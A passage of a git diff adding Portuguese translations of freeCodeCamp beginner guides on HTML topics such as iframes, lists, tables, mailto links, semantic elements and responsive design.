+<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d774386.2436462595!2d-74.53874786161381!3d40.69718109704434!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c24fa5d33f083b%3A0xc80b8f06e177fe62!2sNew+York%2C+NY%2C+USA!5e0!3m2!1sen!2sau!4v1508405930424" 
+ width="600" height="450" frameborder="0" style="border:0" allowfullscreen></iframe> 
+```
+
+### Texto Alternativo
+
+O conteúdo entre as tags `<iframe>` abertura e fechamento é usado como texto alternativo, para ser exibido se o navegador do visualizador não suportar iframes.
+
+```html
+
+<iframe width="560" height="315" src="https://www.youtube.com/embed/v8kFT4I31es" frameborder="0"> 
+  <p>Your browser does not support iframes.</p> 
+ </iframe> 
+```
+
+### Como segmentar um iframe em um link
+
+Qualquer link `<a>` pode direcionar o conteúdo de um elemento `<iframe>` . Em vez de redirecionar a janela do navegador para a página da Web vinculada, ela redirecionará o `<iframe>` . Para que isso funcione, o atributo `target` do elemento `<a>` deve corresponder ao atributo `name` do `<iframe>` .
+
+```html
+
+<iframe width="560" height="315" src="about:blank" frameborder="0" name="iframe-redir"></iframe> 
+ 
+ <p><a href="https://www.youtube.com/embed/v8kFT4I31es" target="iframe-redir">Redirect the Iframe</a></p> 
+```
+
+Este exemplo mostrará inicialmente um `<iframe>` branco, mas quando você clicar no link acima, ele redirecionará o `<iframe>` para exibir um vídeo do YouTube.
+
+### Javascript e Iframes
+
+Os documentos incorporados em um `<iframe>` podem executar o JavaScript em seu próprio contexto (sem afetar a página da Web pai) normalmente.
+
+Qualquer interação de script entre a página da Web pai e o conteúdo do `<iframe>` incorporado está sujeita à política de mesma origem. Isso significa que, se você carregar o conteúdo do `<iframe>` de um domínio diferente, o navegador bloqueará qualquer tentativa de acessar esse conteúdo com JavaScript.
+
+### Mais Informações:
+
+Veja o [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/index.md b/client/src/guide/portuguese/html/index.md
new file mode 100644
index 0000000000..b9ce849554
--- /dev/null
+++ b/client/src/guide/portuguese/html/index.md
@@ -0,0 +1,59 @@
+---
+title: HTML
+localeTitle: HTML
+---
+# HTML
+
+O HyperText Markup Language (HTML) é uma linguagem de marcação usada para construir documentos on-line e é a base da maioria dos sites atualmente. Uma linguagem de marcação como HTML nos permite 1) criar links para outros documentos, 2) estruturar o conteúdo em nosso documento e 3) atribuir contexto e significado ao conteúdo de nosso documento.
+
+Um documento HTML tem dois aspectos para isso. Ele contém informações estruturadas (Marcação) e links de texto (HyperText) para outros documentos. Nós estruturamos nossas páginas usando [elementos HTML](#) . São construções da linguagem que fornecem [estrutura](#) e [significado](#) em nosso documento para o navegador e para o elemento links para outros documentos em toda a internet.
+
+A internet foi originalmente criada para armazenar e apresentar documentos estáticos (imutáveis). Os aspectos do HTML discutidos acima foram vistos perfeitamente nesses documentos que não tinham design e estilo. Eles apresentaram informações estruturadas que continham links para outros documentos.
+
+HTML5 é a versão mais recente ou especificação de HTML. O World Wide Web Consortium (W3C) é a organização responsável pelo desenvolvimento de padrões para a World Wide Web, incluindo aqueles para HTML. À medida que as páginas da Web e os aplicativos da Web se tornam mais complexos, o W3C atualiza os padrões do HTML.
+
+HTML5 introduz uma série de elementos semânticos. Embora tenhamos discutido HTML ajudou a fornecer significado para o nosso documento, não foi até a introdução de [elementos semânticos](#) do HTML5 que seu potencial foi realizado.
+
+## Um exemplo simples de documento HTML
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+  <title>Page Title</title> 
+ </head> 
+ <body> 
+ 
+  <h1>My First Heading</h1> 
+  <p>My first paragraph.</p> 
+ 
+ </body> 
+ </html> 
+```
+
+DOCTYPE html: define este documento como HTML5
+
+html: o elemento raiz de uma página HTML
+
+head: O elemento contém meta informações sobre o documento
+
+title: o elemento especifica um título para o documento
+
+body: o elemento contém o conteúdo da página visível
+
+h1: O elemento define um cabeçalho grande
+
+p: O elemento define um parágrafo
+
+### Versões HTML
+
+Desde os primeiros dias da web, tem havido muitas versões do HTML
+
+Versão | Ano | | --- | --- | | HTML | 1991 | | HTML 2.0 | 1995 | | HTML 3.2 | 1997 | | HTML 4.01 | 1999 | | XHTML | 2000 | | HTML5 | 2014 |
+
+#### Outros recursos
+
+*   [Elementos HTML](https://guide.freecodecamp.org/html/elements)
+*   [HTML semântico](https://guide.freecodecamp.org/html/html5-semantic-elements)
+*   [Atributos HTML](https://guide.freecodecamp.org/html/attributes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/layouts/index.md b/client/src/guide/portuguese/html/layouts/index.md
new file mode 100644
index 0000000000..50fec31be1
--- /dev/null
+++ b/client/src/guide/portuguese/html/layouts/index.md
@@ -0,0 +1,54 @@
+---
+title: Layouts
+localeTitle: Layouts
+---
+## Layouts
+
+Os layouts organizam diferentes áreas da página da web.
+
+Quase todas as páginas da web que vemos podem ser divididas em caixas, que podem ser organizadas em ordem específica para criar essa página da web. A imagem abaixo é um desses exemplos.
+
+![Exemplo de Website Design - www.codementor.io](http://i.imgur.com/Z1DSMYC.png)
+
+> Os sites geralmente exibem conteúdo em várias colunas (como uma revista ou jornal).
+
+E as técnicas de layout HTML nos ajudam a colocar as informações necessárias no pedido ou no design necessários.
+
+### Técnicas para implementar layouts
+
+#### Tabelas HTML
+
+Uma das ferramentas mais básicas para implementar layouts em uma página da Web, elas são fornecidas por HTML. Mas à medida que o layout se torna complicado, as tabelas HTML rapidamente perdem a facilidade, devido ao aumento do texto de marcação.
+
+#### Float CSS
+
+Se você for projetar uma página baseada em 2 colunas com o painel de navegação esquerdo e a área de visualização do conteúdo central, é fácil fazê-lo com floats de CSS. Basta definir a página de navegação esquerda em uma propriedade `<div>` com estilo `float: left;` . E voila você tem esse design. Mas e se você tivesse 4 colunas em uma única seção. Claro, pode-se fazer com floats, mas a sintaxe do HTML que você estaria escrevendo seria fácil de entender.
+
+#### Frameworks CSS
+
+É aí que entram as estruturas CSS, como [Bootstrap](http://getbootstrap.com/) e [Materialize](http://materializecss.com/) . Essas estruturas fornecem uma funcionalidade de grade que permite dividir cada seção da sua página da Web em 12 colunas, que você pode criar.
+
+![Exemplo de grade](http://blog.gridbox.io/wp-content/uploads/2018/01/download-1-1024x271.png)
+
+> Grade de inicialização de amostra
+
+### Elementos semânticos de HTML
+
+Os sites geralmente exibem conteúdo em várias colunas (como uma revista ou jornal).
+
+O HTML5 oferece novos elementos semânticos que definem as diferentes partes de uma página da web:
+```
+<header> - Defines a header for a document or a section 
+ <nav> - Defines a container for navigation links 
+ <section> - Defines a section in a document 
+ <article> - Defines an independent self-contained article 
+ <aside> - Defines content aside from the content (like a sidebar) 
+ <footer> - Defines a footer for a document or a section 
+ <details> - Defines additional details 
+ <summary> - Defines a heading for the <details> element 
+```
+
+#### Mais Informações:
+
+*   [Escolas W3 - Layout](https://www.w3schools.com/html/html_layout.asp)
+*   [CodeMentorTeam](https://www.codementor.io/codementorteam/4-different-html-css-layout-techniques-to-create-a-site-85i9t1x34) - Técnicas de Layout para criar um site
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/lists/index.md b/client/src/guide/portuguese/html/lists/index.md
new file mode 100644
index 0000000000..db22695da0
--- /dev/null
+++ b/client/src/guide/portuguese/html/lists/index.md
@@ -0,0 +1,107 @@
+---
+title: Lists
+localeTitle: Listas
+---
+# Listas
+
+Listas são usadas para exibir itens. Existem 3 tipos de listas.
+
+## Listas ordenadas
+
+Uma _lista ordenada_ é usada para descrever uma coleta ordenada de dados. Os navegadores geralmente exibem uma lista ordenada como uma lista numerada. Crie uma lista ordenada usando a tag `<ol>` .
+
+## Listas não ordenadas
+
+Uma _lista não ordenada_ é usada para descrever uma coleção não ordenada de dados. Os navegadores geralmente exibem uma lista não ordenada como uma lista com marcadores. Crie uma lista não ordenada usando a tag `<ul>` .
+
+## Lista de itens
+
+Os filhos diretos de listas ordenadas e não ordenadas devem ser itens de lista. Cada item da lista é encapsulado em uma tag `<li>` . Uma tag de item de lista pode conter [conteúdo de fluxo](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content) .
+
+## Exemplos
+
+Uma lista ordenada é escrita como
+
+```HTML
+<ol> 
+  <li>January</li> 
+  <li>February</li> 
+  <li>March</li> 
+ </ol> 
+```
+
+e é exibido como:
+
+1.  janeiro
+2.  fevereiro
+3.  marcha
+
+Uma lista não ordenada é escrita como
+
+```HTML
+<ul> 
+  <li>Macintosh</li> 
+  <li>Fuji</li> 
+  <li>Gala</li> 
+ </ul> 
+```
+
+e é exibido como:
+
+*   Macintosh
+*   Fuji
+*   Gala
+
+## Styling Bulletpoints
+
+Uma lista ordenada pode ser usada para uma variedade de funções e em vários estilos. Como a mudança das cores de tag abrangente não altera a cor das próprias marcas, é possível estilizá-las removendo primeiro as marcas pretas tradicionais e inserindo as suas próprias:
+
+Remover marcadores:
+
+```CSS
+ul { 
+  list-style: none; 
+  } 
+```
+
+Insira seu próprio:
+
+```CSS
+ul li::before { 
+  content: "\2022"; 
+  color: orange; 
+  display: inline-block; 
+  width: 1em; 
+  } 
+```
+
+O estilo de conteúdo adiciona um novo bulletpoint enquanto o estilo display e width cria um espaço entre o marcador e a palavra. Estilos de fonte regulares podem ser aplicados aqui se você quiser deixar a marca maior ou mais ousada.
+
+## Listas de descrição
+
+Uma lista de descrições é uma lista de termos, com uma descrição de cada termo. Uma lista de descrições é feita usando a tag `<dl>` . Cada item na lista é composto de duas tags: um termo `<dt>` e uma descrição desse termo `<dd>` . Eles são chamados de listas de definição em HTML 4.
+
+Aqui está um exemplo de uma lista de descrição:
+
+```HTML
+<dl> 
+  <dt>Programming</dt> 
+  <dd>The process of writing computer programs.</dd> 
+  <dt>freeCodeCamp</dt> 
+  <dd>An awesome non-profit organization teaching people how to code.</dd> 
+ </dl> 
+```
+
+o que acabaria parecendo:
+
+Programação
+
+O processo de escrever programas de computador.
+
+freeCodeCamp
+
+Uma incrível organização sem fins lucrativos que ensina as pessoas a codificar.
+
+## Mais Informações:
+
+*   [Listas de HTML em w3schools](https://www.w3schools.com/html/html_lists.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/mailto-links/index.md b/client/src/guide/portuguese/html/mailto-links/index.md
new file mode 100644
index 0000000000..4245655663
--- /dev/null
+++ b/client/src/guide/portuguese/html/mailto-links/index.md
@@ -0,0 +1,56 @@
+---
+title: Mailto Links
+localeTitle: Links Mailto
+---
+## Links Mailto
+
+Um link mailto é um tipo de hiperlink ( `<a href=""></a>` ) com parâmetros especiais que permite especificar destinatários adicionais, uma linha de assunto e / ou um corpo de texto.
+
+### A sintaxe básica com um destinatário é:
+
+```html
+
+<a href="mailto:friend@something.com">Some text</a> 
+```
+
+### Mais personalização!
+
+#### Adicionando um assunto a esse email:
+
+Se você quiser adicionar um assunto específico a esse e-mail, tenha cuidado para adicionar `%20` ou `+` todos os lugares em que haja um espaço na linha de assunto. Uma maneira fácil de garantir que seja formatado corretamente é usar um [decodificador / codificador de URL](https://meyerweb.com/eric/tools/dencoder/) .
+
+#### Adicionando o corpo do texto:
+
+Da mesma forma, você pode adicionar uma mensagem específica na parte do corpo do email: Novamente, os espaços devem ser substituídos por `%20` ou `+` . Após o assunto, qualquer parâmetro adicional deve ser precedido por `&`
+
+Exemplo: Digamos que você queira que os usuários enviem um email para os amigos sobre o progresso deles no Free Code Camp:
+
+Endereço: vazio
+
+Assunto: Boas notícias
+
+Body: Estou me tornando um desenvolvedor
+
+Seu link de html agora:
+
+```html
+
+<a href="mailto:?subject=Great%20news&body=I%20am%20becoming%20a%20developer">Send mail!</a> 
+```
+
+Aqui, deixamos o mailto vazio (mailto :?). Isso abrirá o cliente de e-mail do usuário e o usuário adicionará o endereço do destinatário.
+
+#### Adicionando mais destinatários:
+
+Da mesma maneira, você pode adicionar parâmetros CC e bcc. Separe cada endereço por uma vírgula!
+
+Parâmetros adicionais devem ser precedidos por `&` .
+
+```html
+
+<a href="mailto:firstfriend@something.com?subject=Great%20news&cc=secondfriend@something.com,thirdfriend@something.com&bcc=fourthfriend@something.com">Send mail!</a> 
+```
+
+#### Mais Informações:
+
+[MDN - links de e-mail](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/optional-tags/index.md b/client/src/guide/portuguese/html/optional-tags/index.md
new file mode 100644
index 0000000000..4fe36fbbca
--- /dev/null
+++ b/client/src/guide/portuguese/html/optional-tags/index.md
@@ -0,0 +1,40 @@
+---
+title: Optional Tags
+localeTitle: Tags opcionais
+---
+## Tags opcionais em HTML5
+
+Em HTML5, você pode omitir determinadas tags de abertura e fechamento sob condições específicas. Por exemplo, o seguinte código HTML…
+
+```html
+
+<!DOCTYPE html> 
+ <p>Hello World. 
+```
+
+Irá avaliar automaticamente para…
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head></head> 
+  <body> 
+    <p>Hello world. 
+    </p> 
+  </body> 
+ </html> 
+```
+
+As especificações de tag opcionais para as tags HTML5 mais comuns são as seguintes:
+
+*   A tag inicial de um elemento `html` pode ser omitida se a primeira coisa dentro do elemento `html` não for um comentário.
+*   A tag final de um elemento `html` pode ser omitida se o elemento `html` não for imediatamente seguido por um comentário.
+*   A tag inicial de um elemento `head` pode ser omitida se o elemento estiver vazio ou se a primeira coisa dentro do elemento `head` for um elemento.
+*   A tag final do elemento `head` pode ser omitida se o elemento `head` não for imediatamente seguido por um caractere de espaço ou um comentário.
+*   A tag inicial do elemento `body` pode ser omitida se o elemento estiver vazio, ou se a primeira coisa dentro do elemento `body` não for um caractere de espaço ou um comentário, exceto se a primeira coisa dentro do elemento `body` for `meta` , `link` , `script` , `style` ou elemento de `template` .
+*   A tag final do elemento `body` pode ser omitida se o elemento body não for imediatamente seguido por um comentário.
+
+### Mais Informações
+
+Para saber mais sobre as tags opcionais em HTML5, visite ![Recomendações do World Wide Web Consortium](https://www.w3.org/TR/html5/syntax.html#optional-tags) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/page-structure/index.md b/client/src/guide/portuguese/html/page-structure/index.md
new file mode 100644
index 0000000000..f27829c3b1
--- /dev/null
+++ b/client/src/guide/portuguese/html/page-structure/index.md
@@ -0,0 +1,39 @@
+---
+title: Page Structure
+localeTitle: Estrutura da Página
+---
+## Estrutura da Página
+
+Para criar suas páginas em `HTML` , você precisa saber como estruturar uma página em `HTML` , basicamente, a estruturação de uma página segue a ordem abaixo:
+
+```HTML
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Title of the Page</title> 
+  </head> 
+  <body> 
+    <!-- Content --> 
+  </body> 
+ </html> 
+```
+
+1º - A declaração `<!DOCTYPE html>` deve ser sempre a primeira a aparecer em uma página `HTML` e informar ao navegador qual versão do idioma está sendo usada. Nesse caso, estamos trabalhando com o `HTML5` .
+
+2º - As tags `<html>` e `</html>` informam ao navegador da web onde o código `HTML` inicia e termina.
+
+3º - As tags `<head>` e `</head>` contêm informações sobre o site, exemplo: estilo, meta-tags, scripts, etc…
+
+4º - As tags `<title>` e `</title>` dizem ao navegador qual é o título da página. O título pode ser visto identificando a guia no seu navegador da Internet. O texto definido entre essas tags também é o texto usado como título pelos mecanismos de pesquisa quando eles apresentam as páginas nos resultados de uma pesquisa.
+
+5º - Entre as tags `<body>` e `</ body>` , é colocado o conteúdo da página, que é o que é exibido no navegador.
+
+### Mudanças no HTML5
+
+#### Introdução de tags semânticas
+
+Em vez de usar `<div>` para todos os outros contêineres, várias semânticas (essas tags ajudam os leitores de tela que são usados ​​visualmente tags) como `<header>` `<footer>` . Portanto, é aconselhável usar essas tags em vez de genéricas `<div>` .
+
+#### Mais Informações:
+
+[HTML: Introdução](https://www.w3schools.com/html/html_intro.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/responsive-web-design/index.md b/client/src/guide/portuguese/html/responsive-web-design/index.md
new file mode 100644
index 0000000000..bdbfe992a7
--- /dev/null
+++ b/client/src/guide/portuguese/html/responsive-web-design/index.md
@@ -0,0 +1,54 @@
+---
+title: Responsive Web Design
+localeTitle: Web design responsivo
+---
+## Web design responsivo
+
+Web design responsivo é o conceito de criação de páginas da Web que se adaptam a diferentes tamanhos de tela. Geralmente envolve o uso de diferentes layouts, tamanhos de fonte e colocação de menus de navegação.
+
+Para criar uma página da Web responsiva, o CSS é comumente usado para estilizar seus elementos HTML. Alguns métodos comuns em CSS usados ​​para criar projetos da Web responsivos são:
+
+1.  Escrever [consultas de mídia](https://guide.freecodecamp.org/css/media-queries)
+2.  Usando [estruturas CSS](https://guide.freecodecamp.org/css/css-frameworks) pré-existentes
+3.  Usando o [modelo Flexbox](https://guide.freecodecamp.org/css/layout/flexbox)
+4.  Usando o [CSS Grid](https://guide.freecodecamp.org/css/layout/grid-layout)
+
+### 1\. Consultas de mídia
+
+Consultas de mídia informam ao navegador da Web para ignorar ou substituir propriedades da página da Web com base em atributos específicos, como largura da tela ou se o usuário está imprimindo.
+```
+@media (query) { 
+  /* The browser will use the CSS rules within the curly braces when the query is true */ 
+ } 
+```
+
+O exemplo a seguir define `padding-left` e `padding-right` dentro da classe `more-padding` quando a largura da tela é menor ou igual a 768px.
+```
+@media screen and (max-width: 768px) { 
+    .more-padding { 
+        padding-left: 10px; 
+        padding-right: 10px; 
+    } 
+ } 
+```
+
+### 2\. Frameworks CSS
+
+Estruturas CSS como [Bootstrap](https://www.getbootstrap.com/) , [Material Design Lite](https://getmdl.io/) e [Foundation](https://foundation.zurb.com/) têm classes CSS pré-construídas que simplificam a codificação de projetos responsivos. Essas classes operam como classes HTML padrão.
+
+Neste exemplo, `col-md-9` e `col-sm-6` definem a largura da tag `<div>` base em se a tela é pequena ou média.
+
+```html
+
+<div class="col-12 col-md-6"></div> 
+```
+
+O framework Bootstrap divide uma linha em doze colunas. No exemplo acima, o `<div>` se espalhará em nove ou seis deles. O sistema de grade, mostrado abaixo, é fundamental para como o Bootstrap facilita o design responsivo.
+
+![Grid Example](https://www.javatpoint.com/bootstrappages/images/bootstrapgrid.jpg "Exemplo básico de grade")
+
+### Mais Informações:
+
+1.  [Tutorial do CSS Flexbox Complete em 8 minutos](https://medium.freecodecamp.org/css-flexbox-interactive-tutorial-in-8-minutes-including-cheat-sheet-6214e00de3d2)
+2.  [Seção CSS Freecodecamp](https://guide.freecodecamp.org/css) .
+3.  [Tutorial de CSS Flexbox por CodingTutorials360](https://www.youtube.com/watch?v=zBjUEDzK-ow)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/semantic-html-elements/index.md b/client/src/guide/portuguese/html/semantic-html-elements/index.md
new file mode 100644
index 0000000000..f042a2907c
--- /dev/null
+++ b/client/src/guide/portuguese/html/semantic-html-elements/index.md
@@ -0,0 +1,58 @@
+---
+title: Semantic HTML Elements
+localeTitle: Elementos HTML semântico
+---
+## Elementos HTML semântico
+
+O elemento `<em>` marca o texto como sendo enfatizado acima do texto ao redor dele. Normalmente, o navegador processa isso em _itálico_ , mas você pode adicionar outros estilos usando CSS.
+
+Elementos HTML semânticos fornecem significado a navegadores, desenvolvedores e usuários de um site. Em contraste com elementos como `<div>` ou `<span>` , elementos semânticos como `<header>` e `<footer>` explicam mais claramente o propósito de cada seção de um website.
+
+### Por que usar elementos semânticos?
+
+Os desenvolvedores usam elementos semânticos para aprimorar o seguinte:
+
+*   acessibilidade: ajude as tecnologias assistenciais a ler e interpretar sua página da web
+*   capacidade de pesquisa: ajude os computadores a entender seu conteúdo
+*   internacionalização: apenas 13% do mundo são falantes nativos de inglês
+*   interoperabilidade: ajudar outros programadores a entender a estrutura da sua página web 1
+
+### Elementos semânticos úteis
+
+*   `<header>` define um cabeçalho para o documento ou uma seção
+*   `<footer>` define um rodapé para o documento ou uma seção
+*   `<nav>` define links de navegação no documento
+*   `<main>` define o conteúdo principal de um documento
+*   `<section>` define uma seção no documento - a especificação define isso como "um agrupamento temático de conteúdo, normalmente com um cabeçalho", para que você possa considerá-lo como um capítulo
+*   `<article>` define um artigo no documento
+*   `<aside>` define conteúdo além do conteúdo da página
+*   `<address>` define as informações de contato do autor / proprietário de um documento ou artigo
+*   `<figure>` define o conteúdo auto-suficiente, como ilustrações, diagramas, fotos, blocos de código, etc. 2
+
+### Elementos semânticos menos conhecidos
+
+*   `<bdi>` define uma seção de texto que pode ser formatada em uma direção diferente de outro texto (por exemplo, uma citação em hebraico ou árabe em um outro artigo em inglês)
+*   `<details>` define detalhes adicionais que as pessoas podem ver ou ocultar (como uma dica de ferramenta)
+*   `<dialog>` define uma caixa de diálogo ou janela
+*   `<figcaption>` define a legenda para um `<figure>`
+*   `<mark>` define o texto marcado ou realçado
+*   `<menuitem>` define um item de comando / menu que o usuário pode selecionar em um menu pop-up
+*   `<meter>` define uma medida escalar dentro de um intervalo conhecido (um medidor)
+*   `<progress>` define o progresso de uma tarefa
+*   `<rp>` define o que mostrar em navegadores que não suportam anotações em ruby
+*   `<rt>` define uma explicação / pronúncia de caracteres (para tipografia do leste asiático)
+*   `<ruby>` define uma anotação rubi (para tipografia do leste asiático)
+*   `<summary>` define um título visível para um elemento `<details>`
+*   `<time>` define uma data / hora
+*   `<wbr>` define uma possível quebra de linha 2
+
+### Fontes
+
+1.  [Lee, Michelle. "Uma Visão Geral da Semântica HTML5." _CodePen_ . 16 de fevereiro de 2016. Acessado em: 24 de outubro de 2017](https://codepen.io/mi-lee/post/an-overview-of-html5-semantics)
+2.  [Bidaux, Vincent. "Elementos semânticos HTML5 e Webflow: o guia essencial." _Webflow_ . 16 de dezembro de 2016. Acessado em: 24 de outubro de 2017](https://webflow.com/blog/html5-semantic-elements-and-webflow-the-essential-guide)
+
+#### Mais Informações:
+
+Para mais informações: https://codepen.io/mi-lee/post/an-overview-of-html5-semantics
+
+Consulte o [artigo](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/em) do [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/em) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/symbols/index.md b/client/src/guide/portuguese/html/symbols/index.md
new file mode 100644
index 0000000000..315009be2c
--- /dev/null
+++ b/client/src/guide/portuguese/html/symbols/index.md
@@ -0,0 +1,16 @@
+---
+title: Symbols
+localeTitle: Símbolos
+---
+## Símbolos
+
+Entidades de símbolo HTML são caracteres que não são representados nos teclados de um usuário. Muitos símbolos matemáticos, científicos e monetários não estão presentes em um teclado normal; portanto, para adicionar esses símbolos a uma página usando HTML, o nome da entidade HTML pode ser usado. É importante observar que eles não afetarão o próprio código html e sempre serão interpretados como texto. Por exemplo, se quisermos digitar <div> como texto em uma página da Web, talvez seja necessário usar essas entidades de símbolo.
+
+Se nenhum nome de entidade existir, o número da entidade ou a referência hexadecimal pode ser usada.
+
+![Símbolos HTML5 comuns](http://ways2web.weebly.com/uploads/5/4/4/8/54485903/8779038_orig.png)
+
+#### Mais Informações:
+
+*   ![W3 Escolas de Referência](https://www.w3schools.com/html/html_symbols.asp)
+*   ![Tabela de referência de símbolos](https://dev.w3.org/html5/html-author/charref)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tables/index.md b/client/src/guide/portuguese/html/tables/index.md
new file mode 100644
index 0000000000..554fe9d5af
--- /dev/null
+++ b/client/src/guide/portuguese/html/tables/index.md
@@ -0,0 +1,101 @@
+---
+title: Tables
+localeTitle: Tabelas
+---
+### Definindo uma tabela HTML
+
+Uma tabela HTML é definida com o tag.
+
+Cada linha da tabela é definida com o
+
+tag. Dentro de uma linha, pode haver cabeçalhos de tabela ou dados da tabela.
+
+*   Um cabeçalho de tabela é definido com o
+
+tag. Por padrão, os títulos das tabelas estão em negrito e centralizados.*   Uma tabela de dados / célula é definida com o
+
+tag.
+
+Uma tabela HTML mais complexa também pode incluir elementos `<caption>` , `<col>` , `<colgroup>` , `<thead>` , `<tfoot>` e `<tbody>` .
+
+### Exemplo de tabela simples
+
+```html
+
+<table style="width:100%"> 
+  <tr> 
+    <th>Firstname</th> 
+    <th>Lastname</th> 
+    <th>Age</th> 
+  </tr> 
+  <tr> 
+    <td>Jill</td> 
+    <td>Smith</td> 
+    <td>50</td> 
+  </tr> 
+  <tr> 
+    <td>Eve</td> 
+    <td>Jackson</td> 
+    <td>94</td> 
+  </tr> 
+ </table> 
+```
+
+[DEMO](https://www.w3schools.com/html/tryit.asp?filename=tryhtml_table)
+
+### Exemplo de tabela com mais informações semânticas
+
+```html
+
+<!DOCTYPE html> 
+    <html> 
+    <body> 
+       <table> 
+      <thead> 
+        <tr> 
+          <th>Item</th> 
+          <th>Amount</th> 
+        </tr> 
+      </thead> 
+      <tfoot> 
+        <tr> 
+          <td>Apple</td> 
+          <td>10</td> 
+        </tr> 
+      </tfoot> 
+      <tbody> 
+        <tr> 
+          <td>Peach</td> 
+          <td>15</td> 
+        </tr> 
+        <tr> 
+          <td>Watermelon</td> 
+          <td>3</td> 
+        </tr> 
+      </tbody> 
+    </table> 
+    </body> 
+   </html> 
+```
+
+Resultado:
+
+Item
+
+Montante
+
+maçã
+
+10
+
+pêssego
+
+15
+
+Melancia
+
+3
+
+#### Mais Informações:
+
+[Artigo do MDN no HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table) [tag](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/basic-html/index.md b/client/src/guide/portuguese/html/tutorials/basic-html/index.md
new file mode 100644
index 0000000000..1bd614ebb2
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/basic-html/index.md
@@ -0,0 +1,27 @@
+---
+title: Basic HTML
+localeTitle: HTML básico
+---
+## HTML básico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/html/tutorials/basic-html/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+Estrutura de um arquivo HTML básico:
+
+```html
+
+<!doctype html> 
+ <html> 
+ 
+  <head> 
+    <title></title> 
+  </head> 
+ 
+  <body> 
+  </body> 
+ </html> 
+```
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/basic-html/radio-button/index.md b/client/src/guide/portuguese/html/tutorials/basic-html/radio-button/index.md
new file mode 100644
index 0000000000..2f0ba1901c
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/basic-html/radio-button/index.md
@@ -0,0 +1,24 @@
+---
+title: Radio Button
+localeTitle: Botao de radio
+---
+# Botao de radio
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <form action="/action_page.php"> 
+  <input type="radio" name="gender" value="male"> Male<br> 
+  <input type="radio" name="gender" value="female"> Female<br> 
+  <input type="radio" name="gender" value="other"> Other<br> 
+  <input type="submit" value="Submit"> 
+ </form> 
+ 
+ </body> 
+ </html> 
+```
+
+Os botões de opção podem ser usados ​​para selecionar uma única opção dentre várias opções. Você não tem permissão para escolher 2 ou mais botões de opção no mesmo campo de seleção.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/center-an-image-using-text-align-center/index.md b/client/src/guide/portuguese/html/tutorials/center-an-image-using-text-align-center/index.md
new file mode 100644
index 0000000000..4fcbdea49c
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/center-an-image-using-text-align-center/index.md
@@ -0,0 +1,62 @@
+---
+title: Center an Image Using Text Align Center
+localeTitle: Centralizar uma imagem usando o centro de alinhamento de texto
+---
+## Centralizar uma imagem usando o centro de alinhamento de texto
+
+Um elemento `<img>` é um elemento embutido (valor de exibição do `inline-block` ). Ele pode ser facilmente centralizado adicionando o `text-align: center;` Propriedade CSS para o elemento pai que contém.
+
+Para centralizar uma imagem usando `text-align: center;` você deve colocar o `<img>` dentro de um elemento de nível de bloco, como um `div` . Como a propriedade `text-align` só se aplica a elementos no nível de bloco, você coloca `text-align: center;` no elemento de nível de bloco de acondicionamento para alcançar um `<img>` horizontalmente centrado.
+
+### Exemplo
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Center an Image using text align center</title> 
+    <style> 
+      .img-container { 
+        text-align: center; 
+      } 
+    </style> 
+  </head> 
+  <body> 
+    <div class="img-container"> <!-- Block parent element --> 
+      <img src="user.png" alt="John Doe"> 
+    </div> 
+  </body> 
+ </html> 
+```
+
+**Nota:** O elemento pai deve ser um elemento de bloco. Se não for um elemento de bloco, você deve adicionar `display: block;` Propriedade CSS junto com a propriedade `text-align` .
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Center an Image using text align center</title> 
+    <style> 
+      .img-container { 
+        text-align: center; 
+        display: block; 
+      } 
+    </style> 
+  </head> 
+  <body> 
+    <span class="img-container"> <!-- Inline parent element --> 
+      <img src="user.png" alt=""> 
+    </span> 
+  </body> 
+ </html> 
+```
+
+**Demonstração:** [Codepen](https://codepen.io/aravindio/pen/PJMXbp)
+
+## Documentação
+
+[**text-align** - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
+
+[**\\ ** - MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/embedding-youtube-videos/index.md b/client/src/guide/portuguese/html/tutorials/embedding-youtube-videos/index.md
new file mode 100644
index 0000000000..49a1cf8a95
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/embedding-youtube-videos/index.md
@@ -0,0 +1,40 @@
+---
